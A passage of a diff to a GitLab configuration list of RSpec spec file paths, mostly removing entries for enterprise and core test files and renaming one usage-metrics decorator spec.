-- './ee/spec/serializers/ee/board_simple_entity_spec.rb'
- './ee/spec/serializers/ee/build_details_entity_spec.rb'
- './ee/spec/serializers/ee/ci/job_entity_spec.rb'
- './ee/spec/serializers/ee/ci/pipeline_entity_spec.rb'
@@ -2596,7 +2533,6 @@
- './ee/spec/services/app_sec/fuzzing/api/ci_configuration_create_service_spec.rb'
- './ee/spec/services/app_sec/fuzzing/coverage/corpuses/create_service_spec.rb'
- './ee/spec/services/arkose/blocked_users_report_service_spec.rb'
-- './ee/spec/services/arkose/user_verification_service_spec.rb'
- './ee/spec/services/audit_events/build_service_spec.rb'
- './ee/spec/services/audit_events/custom_audit_event_service_spec.rb'
- './ee/spec/services/audit_event_service_spec.rb'
@@ -2744,11 +2680,9 @@
- './ee/spec/services/ee/issues/after_create_service_spec.rb'
- './ee/spec/services/ee/issues/build_from_vulnerability_service_spec.rb'
- './ee/spec/services/ee/issues/clone_service_spec.rb'
-- './ee/spec/services/ee/issues/close_service_spec.rb'
- './ee/spec/services/ee/issues/create_from_vulnerability_data_service_spec.rb'
- './ee/spec/services/ee/issues/create_service_spec.rb'
- './ee/spec/services/ee/issues/move_service_spec.rb'
-- './ee/spec/services/ee/issues/reopen_service_spec.rb'
- './ee/spec/services/ee/issues/update_service_spec.rb'
- './ee/spec/services/ee/keys/destroy_service_spec.rb'
- './ee/spec/services/ee/labels/create_service_spec.rb'
@@ -2806,7 +2740,6 @@
- './ee/spec/services/ee/users/build_service_spec.rb'
- './ee/spec/services/ee/users/create_service_spec.rb'
- './ee/spec/services/ee/users/destroy_service_spec.rb'
-- './ee/spec/services/ee/users/migrate_to_ghost_user_service_spec.rb'
- './ee/spec/services/ee/users/reject_service_spec.rb'
- './ee/spec/services/ee/users/update_service_spec.rb'
- './ee/spec/services/ee/vulnerability_feedback_module/update_service_spec.rb'
@@ -2887,9 +2820,7 @@
- './ee/spec/services/geo/repository_verification_secondary_service_spec.rb'
- './ee/spec/services/geo/reset_checksum_event_store_spec.rb'
- './ee/spec/services/geo/wiki_sync_service_spec.rb'
-- './ee/spec/services/gitlab_subscriptions/activate_awaiting_users_service_spec.rb'
- './ee/spec/services/gitlab_subscriptions/activate_service_spec.rb'
-- './ee/spec/services/gitlab_subscriptions/apply_trial_service_spec.rb'
- './ee/spec/services/gitlab_subscriptions/check_future_renewal_service_spec.rb'
- './ee/spec/services/gitlab_subscriptions/create_hand_raise_lead_service_spec.rb'
- './ee/spec/services/gitlab_subscriptions/create_service_spec.rb'
@@ -2972,10 +2903,6 @@
- './ee/spec/services/milestones/destroy_service_spec.rb'
- './ee/spec/services/milestones/promote_service_spec.rb'
- './ee/spec/services/milestones/update_service_spec.rb'
-- './ee/spec/services/namespaces/free_user_cap/deactivate_members_over_limit_service_spec.rb'
-- './ee/spec/services/namespaces/free_user_cap/remove_group_group_links_outside_hierarchy_service_spec.rb'
-- './ee/spec/services/namespaces/free_user_cap/remove_project_group_links_outside_hierarchy_service_spec.rb'
-- './ee/spec/services/namespaces/free_user_cap/update_prevent_sharing_outside_hierarchy_service_spec.rb'
- './ee/spec/services/namespaces/in_product_marketing_emails_service_spec.rb'
- './ee/spec/services/namespaces/storage/email_notification_service_spec.rb'
- './ee/spec/services/path_locks/lock_service_spec.rb'
@@ -3004,8 +2931,6 @@
- './ee/spec/services/projects/hashed_storage/migrate_repository_service_spec.rb'
- './ee/spec/services/projects/import_export/export_service_spec.rb'
- './ee/spec/services/projects/import_service_spec.rb'
-- './ee/spec/services/projects/licenses/create_policy_service_spec.rb'
-- './ee/spec/services/projects/licenses/update_policy_service_spec.rb'
- './ee/spec/services/projects/mark_for_deletion_service_spec.rb'
- './ee/spec/services/projects/open_issues_count_service_spec.rb'
- './ee/spec/services/projects/operations/update_service_spec.rb'
@@ -3034,7 +2959,6 @@
- './ee/spec/services/requirements_management/map_export_fields_service_spec.rb'
- './ee/spec/services/requirements_management/prepare_import_csv_service_spec.rb'
- './ee/spec/services/requirements_management/process_test_reports_service_spec.rb'
-- './ee/spec/services/requirements_management/update_requirement_service_spec.rb'
- './ee/spec/services/resource_access_tokens/create_service_spec.rb'
- './ee/spec/services/resource_access_tokens/revoke_service_spec.rb'
- './ee/spec/services/resource_events/change_weight_service_spec.rb'
@@ -3047,7 +2971,6 @@
- './ee/spec/services/security/auto_fix_service_spec.rb'
- './ee/spec/services/security/configuration/save_auto_fix_service_spec.rb'
- './ee/spec/services/security/dependency_list_service_spec.rb'
-- './ee/spec/services/security/findings/cleanup_service_spec.rb'
- './ee/spec/services/security/ingestion/finding_map_collection_spec.rb'
- './ee/spec/services/security/ingestion/finding_map_spec.rb'
- './ee/spec/services/security/ingestion/ingest_report_service_spec.rb'
@@ -3120,7 +3043,6 @@
- './ee/spec/services/todo_service_spec.rb'
- './ee/spec/services/upcoming_reconciliations/update_service_spec.rb'
- './ee/spec/services/user_permissions/export_service_spec.rb'
-- './ee/spec/services/users/abuse/excessive_projects_download_ban_service_spec.rb'
- './ee/spec/services/users/abuse/git_abuse/namespace_throttle_service_spec.rb'
- './ee/spec/services/users/abuse/namespace_bans/create_service_spec.rb'
- './ee/spec/services/users/abuse/namespace_bans/destroy_service_spec.rb'
@@ -3169,7 +3091,6 @@
- './ee/spec/tasks/gitlab/license_rake_spec.rb'
- './ee/spec/tasks/gitlab/seed/group_seed_rake_spec.rb'
- './ee/spec/tasks/gitlab/spdx_rake_spec.rb'
-- './ee/spec/tasks/gitlab/uploads/migrate_rake_spec.rb'
- './ee/spec/validators/json_schema_validator_spec.rb'
- './ee/spec/validators/ldap_filter_validator_spec.rb'
- './ee/spec/validators/password/complexity_validator_spec.rb'
@@ -3202,8 +3123,6 @@
- './ee/spec/views/groups/security/discover/show.html.haml_spec.rb'
- './ee/spec/views/groups/settings/_remove.html.haml_spec.rb'
- './ee/spec/views/groups/settings/reporting/show.html.haml_spec.rb'
-- './ee/spec/views/groups/show.html.haml_spec.rb'
-- './ee/spec/views/groups/usage_quotas/index.html.haml_spec.rb'
- './ee/spec/views/layouts/application.html.haml_spec.rb'
- './ee/spec/views/layouts/checkout.html.haml_spec.rb'
- './ee/spec/views/layouts/header/_current_user_dropdown.html.haml_spec.rb'
@@ -3220,12 +3139,9 @@
- './ee/spec/views/operations/index.html.haml_spec.rb'
- './ee/spec/views/profiles/preferences/show.html.haml_spec.rb'
- './ee/spec/views/projects/edit.html.haml_spec.rb'
-- './ee/spec/views/projects/empty.html.haml_spec.rb'
- './ee/spec/views/projects/issues/show.html.haml_spec.rb'
-- './ee/spec/views/projects/merge_requests/_merge_request_approvals.html.haml_spec.rb'
- './ee/spec/views/projects/_merge_request_status_checks_settings.html.haml_spec.rb'
- './ee/spec/views/projects/on_demand_scans/index.html.haml_spec.rb'
-- './ee/spec/views/projects/pipelines/_tabs_content.html.haml_spec.rb'
- './ee/spec/views/projects/project_members/index.html.haml_spec.rb'
- './ee/spec/views/projects/security/corpus_management/show.html.haml_spec.rb'
- './ee/spec/views/projects/security/dast_profiles/show.html.haml_spec.rb'
@@ -3237,12 +3153,8 @@
- './ee/spec/views/projects/security/policies/index.html.haml_spec.rb'
- './ee/spec/views/projects/security/sast_configuration/show.html.haml_spec.rb'
- './ee/spec/views/projects/settings/subscriptions/_index.html.haml_spec.rb'
-- './ee/spec/views/projects/show.html.haml_spec.rb'
-- './ee/spec/views/registrations/groups/new.html.haml_spec.rb'
- './ee/spec/views/registrations/groups_projects/new.html.haml_spec.rb'
-- './ee/spec/views/registrations/projects/new.html.haml_spec.rb'
- './ee/spec/views/registrations/welcome/continuous_onboarding_getting_started.html.haml_spec.rb'
-- './ee/spec/views/registrations/welcome/show.html.haml_spec.rb'
- './ee/spec/views/search/_category.html.haml_spec.rb'
- './ee/spec/views/shared/billings/_billing_plan_actions.html.haml_spec.rb'
- './ee/spec/views/shared/billings/_billing_plan.html.haml_spec.rb'
@@ -3253,7 +3165,6 @@
- './ee/spec/views/shared/credentials_inventory/_expiry_date.html.haml_spec.rb'
- './ee/spec/views/shared/credentials_inventory/gpg_keys/_gpg_key.html.haml_spec.rb'
- './ee/spec/views/shared/credentials_inventory/personal_access_tokens/_personal_access_token.html.haml_spec.rb'
-- './ee/spec/views/shared/credentials_inventory/project_access_tokens/_project_access_token.html.haml_spec.rb'
- './ee/spec/views/shared/credentials_inventory/ssh_keys/_ssh_key.html.haml_spec.rb'
- './ee/spec/views/shared/issuable/_approver_suggestion.html.haml_spec.rb'
- './ee/spec/views/shared/issuable/_epic_dropdown.html.haml_spec.rb'
@@ -3271,8 +3182,6 @@
- './ee/spec/views/subscriptions/buy_storage.html.haml_spec.rb'
- './ee/spec/views/subscriptions/groups/edit.html.haml_spec.rb'
- './ee/spec/views/subscriptions/new.html.haml_spec.rb'
-- './ee/spec/views/trial_registrations/new.html.haml_spec.rb'
-- './ee/spec/views/trials/_skip_trial.html.haml_spec.rb'
- './ee/spec/workers/active_user_count_threshold_worker_spec.rb'
- './ee/spec/workers/adjourned_group_deletion_worker_spec.rb'
- './ee/spec/workers/adjourned_project_deletion_worker_spec.rb'
@@ -3336,7 +3245,6 @@
- './ee/spec/workers/geo/batch_event_create_worker_spec.rb'
- './ee/spec/workers/geo/batch/project_registry_scheduler_worker_spec.rb'
- './ee/spec/workers/geo/batch/project_registry_worker_spec.rb'
-- './ee/spec/workers/geo/container_repository_sync_dispatch_worker_spec.rb'
- './ee/spec/workers/geo/container_repository_sync_worker_spec.rb'
- './ee/spec/workers/geo/create_repository_updated_event_worker_spec.rb'
- './ee/spec/workers/geo/design_repository_shard_sync_worker_spec.rb'
@@ -3391,7 +3299,6 @@
- './ee/spec/workers/merge_request_reset_approvals_worker_spec.rb'
- './ee/spec/workers/merge_requests/stream_approval_audit_event_worker_spec.rb'
- './ee/spec/workers/merge_requests/sync_code_owner_approval_rules_worker_spec.rb'
-- './ee/spec/workers/namespaces/free_user_cap/remediation_worker_spec.rb'
- './ee/spec/workers/namespaces/sync_namespace_name_worker_spec.rb'
- './ee/spec/workers/new_epic_worker_spec.rb'
- './ee/spec/workers/personal_access_tokens/groups/policy_worker_spec.rb'
@@ -3410,8 +3317,6 @@
- './ee/spec/workers/scan_security_report_secrets_worker_spec.rb'
- './ee/spec/workers/security/auto_fix_worker_spec.rb'
- './ee/spec/workers/security/create_orchestration_policy_worker_spec.rb'
-- './ee/spec/workers/security/findings/cleanup_worker_spec.rb'
-- './ee/spec/workers/security/findings/delete_by_job_id_worker_spec.rb'
- './ee/spec/workers/security/orchestration_policy_rule_schedule_namespace_worker_spec.rb'
- './ee/spec/workers/security/orchestration_policy_rule_schedule_worker_spec.rb'
- './ee/spec/workers/security/store_scans_worker_spec.rb'
@@ -3454,7 +3359,6 @@
- './spec/config/application_spec.rb'
- './spec/config/inject_enterprise_edition_module_spec.rb'
- './spec/config/mail_room_spec.rb'
-- './spec/config/metrics/aggregates/aggregated_metrics_spec.rb'
- './spec/config/object_store_settings_spec.rb'
- './spec/config/settings_spec.rb'
- './spec/config/smime_signature_settings_spec.rb'
@@ -3488,10 +3392,7 @@
- './spec/controllers/admin/users_controller_spec.rb'
- './spec/controllers/application_controller_spec.rb'
- './spec/controllers/autocomplete_controller_spec.rb'
-- './spec/controllers/boards/issues_controller_spec.rb'
-- './spec/controllers/boards/lists_controller_spec.rb'
- './spec/controllers/chaos_controller_spec.rb'
-- './spec/controllers/concerns/boards_responses_spec.rb'
- './spec/controllers/concerns/check_rate_limit_spec.rb'
- './spec/controllers/concerns/checks_collaboration_spec.rb'
- './spec/controllers/concerns/confirm_email_warning_spec.rb'
@@ -3563,7 +3464,6 @@
- './spec/controllers/groups/variables_controller_spec.rb'
- './spec/controllers/health_check_controller_spec.rb'
- './spec/controllers/help_controller_spec.rb'
-- './spec/controllers/import/available_namespaces_controller_spec.rb'
- './spec/controllers/import/bitbucket_controller_spec.rb'
- './spec/controllers/import/bitbucket_server_controller_spec.rb'
- './spec/controllers/import/bulk_imports_controller_spec.rb'
@@ -3670,7 +3570,6 @@
- './spec/controllers/projects/pipelines_settings_controller_spec.rb'
- './spec/controllers/projects/pipelines/stages_controller_spec.rb'
- './spec/controllers/projects/pipelines/tests_controller_spec.rb'
-- './spec/controllers/projects/product_analytics_controller_spec.rb'
- './spec/controllers/projects/project_members_controller_spec.rb'
- './spec/controllers/projects/prometheus/alerts_controller_spec.rb'
- './spec/controllers/projects/prometheus/metrics_controller_spec.rb'
@@ -3707,7 +3606,6 @@
- './spec/controllers/projects/web_ide_terminals_controller_spec.rb'
- './spec/controllers/projects/wikis_controller_spec.rb'
- './spec/controllers/registrations_controller_spec.rb'
-- './spec/controllers/registrations/welcome_controller_spec.rb'
- './spec/controllers/repositories/git_http_controller_spec.rb'
- './spec/controllers/repositories/lfs_storage_controller_spec.rb'
- './spec/controllers/root_controller_spec.rb'
@@ -3935,7 +3833,6 @@
- './spec/features/ide/clientside_preview_csp_spec.rb'
- './spec/features/ide_spec.rb'
- './spec/features/ide/static_object_external_storage_csp_spec.rb'
-- './spec/features/ide/user_commits_changes_spec.rb'
- './spec/features/ide/user_opens_merge_request_spec.rb'
- './spec/features/import/manifest_import_spec.rb'
- './spec/features/invites_spec.rb'
@@ -4058,7 +3955,6 @@
- './spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb'
- './spec/features/merge_request/user_expands_diff_spec.rb'
- './spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb'
-- './spec/features/merge_request/user_jumps_to_discussion_spec.rb'
- './spec/features/merge_request/user_locks_discussion_spec.rb'
- './spec/features/merge_request/user_manages_subscription_spec.rb'
- './spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb'
@@ -4113,7 +4009,6 @@
- './spec/features/merge_request/user_views_diffs_spec.rb'
- './spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb'
- './spec/features/merge_request/user_views_open_merge_request_spec.rb'
-- './spec/features/merge_request/user_views_user_status_on_merge_request_spec.rb'
- './spec/features/milestone_spec.rb'
- './spec/features/milestones/user_creates_milestone_spec.rb'
- './spec/features/milestones/user_deletes_milestone_spec.rb'
@@ -4174,7 +4069,6 @@
- './spec/features/projects/blobs/blob_show_spec.rb'
- './spec/features/projects/blobs/edit_spec.rb'
- './spec/features/projects/blobs/shortcuts_blob_spec.rb'
-- './spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb'
- './spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb'
- './spec/features/projects/blobs/user_views_pipeline_editor_button_spec.rb'
- './spec/features/projects/branches/download_buttons_spec.rb'
@@ -4334,14 +4228,8 @@
- './spec/features/projects/pages/user_edits_lets_encrypt_settings_spec.rb'
- './spec/features/projects/pages/user_edits_settings_spec.rb'
- './spec/features/projects/pipeline_schedules_spec.rb'
-- './spec/features/projects/pipelines/legacy_pipeline_spec.rb'
-- './spec/features/projects/pipelines/legacy_pipelines_spec.rb'
- './spec/features/projects/pipelines/pipeline_spec.rb'
- './spec/features/projects/pipelines/pipelines_spec.rb'
-- './spec/features/projects/product_analytics/events_spec.rb'
-- './spec/features/projects/product_analytics/graphs_spec.rb'
-- './spec/features/projects/product_analytics/setup_spec.rb'
-- './spec/features/projects/product_analytics/test_spec.rb'
- './spec/features/projects/raw/user_interacts_with_raw_endpoint_spec.rb'
- './spec/features/projects/releases/user_creates_release_spec.rb'
- './spec/features/projects/releases/user_views_edit_release_spec.rb'
@@ -4490,7 +4378,6 @@
- './spec/features/users/anonymous_sessions_spec.rb'
- './spec/features/users/bizible_csp_spec.rb'
- './spec/features/users/confirmation_spec.rb'
-- './spec/features/user_sees_marketing_header_spec.rb'
- './spec/features/user_sees_revert_modal_spec.rb'
- './spec/features/users/email_verification_on_login_spec.rb'
- './spec/features/users/google_analytics_csp_spec.rb'
@@ -4570,7 +4457,6 @@
- './spec/finders/feature_flags_user_lists_finder_spec.rb'
- './spec/finders/fork_projects_finder_spec.rb'
- './spec/finders/fork_targets_finder_spec.rb'
-- './spec/finders/freeze_periods_finder_spec.rb'
- './spec/finders/group_descendants_finder_spec.rb'
- './spec/finders/group_members_finder_spec.rb'
- './spec/finders/group_projects_finder_spec.rb'
@@ -4590,7 +4476,6 @@
- './spec/finders/members_finder_spec.rb'
- './spec/finders/merge_request/metrics_finder_spec.rb'
- './spec/finders/merge_requests/by_approvals_finder_spec.rb'
-- './spec/finders/merge_requests_finder/params_spec.rb'
- './spec/finders/merge_requests_finder_spec.rb'
- './spec/finders/merge_requests/oldest_per_commit_finder_spec.rb'
- './spec/finders/merge_request_target_project_finder_spec.rb'
@@ -4705,7 +4590,6 @@
- './spec/frontend/fixtures/u2f.rb'
- './spec/frontend/fixtures/webauthn.rb'
- './spec/graphql/features/authorization_spec.rb'
-- './spec/graphql/features/feature_flag_spec.rb'
- './spec/graphql/gitlab_schema_spec.rb'
- './spec/graphql/graphql_triggers_spec.rb'
- './spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb'
@@ -4803,7 +4687,6 @@
- './spec/graphql/mutations/todos/restore_spec.rb'
- './spec/graphql/mutations/user_callouts/create_spec.rb'
- './spec/graphql/mutations/work_items/update_task_spec.rb'
-- './spec/graphql/mutations/work_items/update_widgets_spec.rb'
- './spec/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver_spec.rb'
- './spec/graphql/resolvers/alert_management/alert_resolver_spec.rb'
- './spec/graphql/resolvers/alert_management/alert_status_counts_resolver_spec.rb'
@@ -4867,7 +4750,6 @@
- './spec/graphql/resolvers/group_packages_resolver_spec.rb'
- './spec/graphql/resolvers/group_resolver_spec.rb'
- './spec/graphql/resolvers/groups_resolver_spec.rb'
-- './spec/graphql/resolvers/issues_resolver_spec.rb'
- './spec/graphql/resolvers/issue_status_counts_resolver_spec.rb'
- './spec/graphql/resolvers/kas/agent_configurations_resolver_spec.rb'
- './spec/graphql/resolvers/kas/agent_connections_resolver_spec.rb'
@@ -5367,8 +5249,6 @@
- './spec/initializers/action_mailer_hooks_spec.rb'
- './spec/initializers/active_record_locking_spec.rb'
- './spec/initializers/asset_proxy_setting_spec.rb'
-- './spec/initializers/attr_encrypted_no_db_connection_spec.rb'
-- './spec/initializers/attr_encrypted_thread_safe_spec.rb'
- './spec/initializers/carrierwave_patch_spec.rb'
- './spec/initializers/cookies_serializer_spec.rb'
- './spec/initializers/database_config_spec.rb'
@@ -5436,7 +5316,6 @@
- './spec/lib/api/entities/nuget/search_result_spec.rb'
- './spec/lib/api/entities/package_spec.rb'
- './spec/lib/api/entities/personal_access_token_spec.rb'
-- './spec/lib/api/entities/personal_access_token_with_details_spec.rb'
- './spec/lib/api/entities/plan_limit_spec.rb'
- './spec/lib/api/entities/project_import_failed_relation_spec.rb'
- './spec/lib/api/entities/project_import_status_spec.rb'
@@ -5469,7 +5348,6 @@
- './spec/lib/api/helpers_spec.rb'
- './spec/lib/api/helpers/variables_helpers_spec.rb'
- './spec/lib/api/helpers/version_spec.rb'
-- './spec/lib/api/integrations/slack/events/url_verification_spec.rb'
- './spec/lib/api/support/git_access_actor_spec.rb'
- './spec/lib/api/validations/validators/absence_spec.rb'
- './spec/lib/api/validations/validators/array_none_any_spec.rb'
@@ -5819,7 +5697,6 @@
- './spec/lib/gitlab/auth/unique_ips_limiter_spec.rb'
- './spec/lib/gitlab/auth/user_access_denied_reason_spec.rb'
- './spec/lib/gitlab/avatar_cache_spec.rb'
-- './spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_ci_queuing_tables_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_with_corrected_regex_spec.rb'
@@ -5841,7 +5718,6 @@
- './spec/lib/gitlab/background_migration/backfill_project_member_namespace_id_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb'
-- './spec/lib/gitlab/background_migration/backfill_projects_with_coverage_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_topics_title_spec.rb'
- './spec/lib/gitlab/background_migration/backfill_upvotes_count_on_issues_spec.rb'
@@ -5850,7 +5726,6 @@
- './spec/lib/gitlab/background_migration/backfill_work_item_type_id_for_issues_spec.rb'
- './spec/lib/gitlab/background_migration/base_job_spec.rb'
- './spec/lib/gitlab/background_migration/batched_migration_job_spec.rb'
-- './spec/lib/gitlab/background_migration/batching_strategies/backfill_issue_work_item_type_batching_strategy_spec.rb'
- './spec/lib/gitlab/background_migration/batching_strategies/backfill_project_namespace_per_group_batching_strategy_spec.rb'
- './spec/lib/gitlab/background_migration/batching_strategies/backfill_project_statistics_with_container_registry_size_batching_strategy_spec.rb'
- './spec/lib/gitlab/background_migration/batching_strategies/base_strategy_spec.rb'
@@ -5919,7 +5794,6 @@
- './spec/lib/gitlab/backtrace_cleaner_spec.rb'
- './spec/lib/gitlab/bare_repository_import/importer_spec.rb'
- './spec/lib/gitlab/bare_repository_import/repository_spec.rb'
-- './spec/lib/gitlab/batch_pop_queueing_spec.rb'
- './spec/lib/gitlab/batch_worker_context_spec.rb'
- './spec/lib/gitlab/bitbucket_import/importer_spec.rb'
- './spec/lib/gitlab/bitbucket_import/project_creator_spec.rb'
@@ -5986,7 +5860,6 @@
- './spec/lib/gitlab/ci/badge/release/template_spec.rb'
- './spec/lib/gitlab/ci/build/artifacts/adapters/gzip_stream_spec.rb'
- './spec/lib/gitlab/ci/build/artifacts/adapters/raw_stream_spec.rb'
-- './spec/lib/gitlab/ci/build/artifacts/adapters/zip_stream_spec.rb'
- './spec/lib/gitlab/ci/build/artifacts/metadata/entry_spec.rb'
- './spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb'
- './spec/lib/gitlab/ci/build/artifacts/path_spec.rb'
@@ -6160,8 +6033,6 @@
- './spec/lib/gitlab/ci/pipeline/quota/deployments_spec.rb'
- './spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb'
- './spec/lib/gitlab/ci/pipeline/seed/build_spec.rb'
-- './spec/lib/gitlab/ci/pipeline/seed/deployment_spec.rb'
-- './spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb'
- './spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb'
- './spec/lib/gitlab/ci/pipeline/seed/processable/resource_group_spec.rb'
- './spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb'
@@ -6553,7 +6424,6 @@
- './spec/lib/gitlab/discussions_diff/file_collection_spec.rb'
- './spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb'
- './spec/lib/gitlab/doctor/secrets_spec.rb'
-- './spec/lib/gitlab/doorkeeper_secret_storing/pbkdf2_sha512_spec.rb'
- './spec/lib/gitlab_edition_spec.rb'
- './spec/lib/gitlab/email/attachment_uploader_spec.rb'
- './spec/lib/gitlab/email/failure_handler_spec.rb'
@@ -6613,10 +6483,6 @@
- './spec/lib/gitlab/exclusive_lease_helpers/sleeping_lock_spec.rb'
- './spec/lib/gitlab/exclusive_lease_helpers_spec.rb'
- './spec/lib/gitlab/exclusive_lease_spec.rb'
-- './spec/lib/gitlab/experimentation/controller_concern_spec.rb'
-- './spec/lib/gitlab/experimentation/experiment_spec.rb'
-- './spec/lib/gitlab/experimentation/group_types_spec.rb'
-- './spec/lib/gitlab/experimentation_spec.rb'
- './spec/lib/gitlab/experiment/rollout/feature_spec.rb'
- './spec/lib/gitlab/external_authorization/access_spec.rb'
- './spec/lib/gitlab/external_authorization/cache_spec.rb'
@@ -6665,7 +6531,6 @@
- './spec/lib/gitlab/gitaly_client_spec.rb'
- './spec/lib/gitlab/gitaly_client/storage_settings_spec.rb'
- './spec/lib/gitlab/gitaly_client/util_spec.rb'
-- './spec/lib/gitlab/gitaly_client/wiki_service_spec.rb'
- './spec/lib/gitlab/git/attributes_at_ref_parser_spec.rb'
- './spec/lib/gitlab/git/attributes_parser_spec.rb'
- './spec/lib/gitlab/git/base_error_spec.rb'
@@ -6681,7 +6546,6 @@
- './spec/lib/gitlab/git/conflict/file_spec.rb'
- './spec/lib/gitlab/git/conflict/parser_spec.rb'
- './spec/lib/gitlab/git/conflict/resolver_spec.rb'
-- './spec/lib/gitlab/git/cross_repo_comparer_spec.rb'
- './spec/lib/gitlab/git/diff_collection_spec.rb'
- './spec/lib/gitlab/git/diff_spec.rb'
- './spec/lib/gitlab/git/diff_stats_collection_spec.rb'
@@ -6774,7 +6638,6 @@
- './spec/lib/gitlab/git/user_spec.rb'
- './spec/lib/gitlab/git/util_spec.rb'
- './spec/lib/gitlab/git/wiki_page_version_spec.rb'
-- './spec/lib/gitlab/git/wiki_spec.rb'
- './spec/lib/gitlab/git/wraps_gitaly_errors_spec.rb'
- './spec/lib/gitlab/global_id/deprecations_spec.rb'
- './spec/lib/gitlab/global_id_spec.rb'
@@ -6817,7 +6680,6 @@
- './spec/lib/gitlab/graphql/pagination/connections_spec.rb'
- './spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb'
- './spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb'
-- './spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb'
- './spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb'
- './spec/lib/gitlab/graphql/present/field_extension_spec.rb'
- './spec/lib/gitlab/graphql/queries_spec.rb'
@@ -6843,13 +6705,6 @@
- './spec/lib/gitlab/health_checks/middleware_spec.rb'
- './spec/lib/gitlab/health_checks/probes/collection_spec.rb'
- './spec/lib/gitlab/health_checks/puma_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/cache_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/queues_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/rate_limiting_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/redis_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/sessions_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/shared_state_check_spec.rb'
-- './spec/lib/gitlab/health_checks/redis/trace_chunks_check_spec.rb'
- './spec/lib/gitlab/health_checks/server_spec.rb'
- './spec/lib/gitlab/highlight_spec.rb'
- './spec/lib/gitlab/hook_data/base_builder_spec.rb'
@@ -6895,8 +6750,6 @@
- './spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
- './spec/lib/gitlab/import_export/file_importer_spec.rb'
- './spec/lib/gitlab/import_export/fork_spec.rb'
-- './spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
-- './spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- './spec/lib/gitlab/import_export/group/object_builder_spec.rb'
- './spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
- './spec/lib/gitlab/import_export/group/relation_tree_restorer_spec.rb'
@@ -7074,7 +6927,6 @@
- './spec/lib/gitlab/memory/reports_daemon_spec.rb'
- './spec/lib/gitlab/memory/reports/jemalloc_stats_spec.rb'
- './spec/lib/gitlab/memory/watchdog_spec.rb'
-- './spec/lib/gitlab/merge_requests/commit_message_generator_spec.rb'
- './spec/lib/gitlab/merge_requests/mergeability/check_result_spec.rb'
- './spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb'
- './spec/lib/gitlab/merge_requests/mergeability/results_store_spec.rb'
@@ -7353,7 +7205,6 @@
- './spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb'
- './spec/lib/gitlab/sidekiq_middleware/extra_done_log_metadata_spec.rb'
- './spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb'
-- './spec/lib/gitlab/sidekiq_middleware/memory_killer_spec.rb'
- './spec/lib/gitlab/sidekiq_middleware/monitor_spec.rb'
- './spec/lib/gitlab/sidekiq_middleware/query_analyzer_spec.rb'
- './spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb'
@@ -7513,13 +7364,12 @@
- './spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb'
- './spec/lib/gitlab/usage/metrics/key_path_processor_spec.rb'
- './spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb'
-- './spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/constraints_spec.rb'
- './spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb'
- './spec/lib/gitlab/usage/metrics/name_suggestion_spec.rb'
- './spec/lib/gitlab/usage/metric_spec.rb'
- './spec/lib/gitlab/usage/metrics/query_spec.rb'
- './spec/lib/gitlab/usage/service_ping/instrumented_payload_spec.rb'
-- './spec/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator_spec.rb'
+- './spec/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator_spec.rb'
- './spec/lib/gitlab/usage/service_ping/payload_keys_processor_spec.rb'
- './spec/lib/gitlab/usage/service_ping_report_spec.rb'
- './spec/lib/gitlab/user_access_snippet_spec.rb'
@@ -7606,8 +7456,6 @@
- './spec/lib/security/ci_configuration/sast_iac_build_action_spec.rb'
- './spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb'
- './spec/lib/security/report_schema_version_matcher_spec.rb'
-- './spec/lib/serializers/json_spec.rb'
-- './spec/lib/serializers/symbolized_json_spec.rb'
- './spec/lib/serializers/unsafe_json_spec.rb'
- './spec/lib/service_ping/build_payload_spec.rb'
- './spec/lib/service_ping/devops_report_spec.rb'
@@ -7686,15 +7534,6 @@
- './spec/mailers/notify_spec.rb'
- './spec/mailers/repository_check_mailer_spec.rb'
- './spec/metrics_server/metrics_server_spec.rb'
-- './spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb'
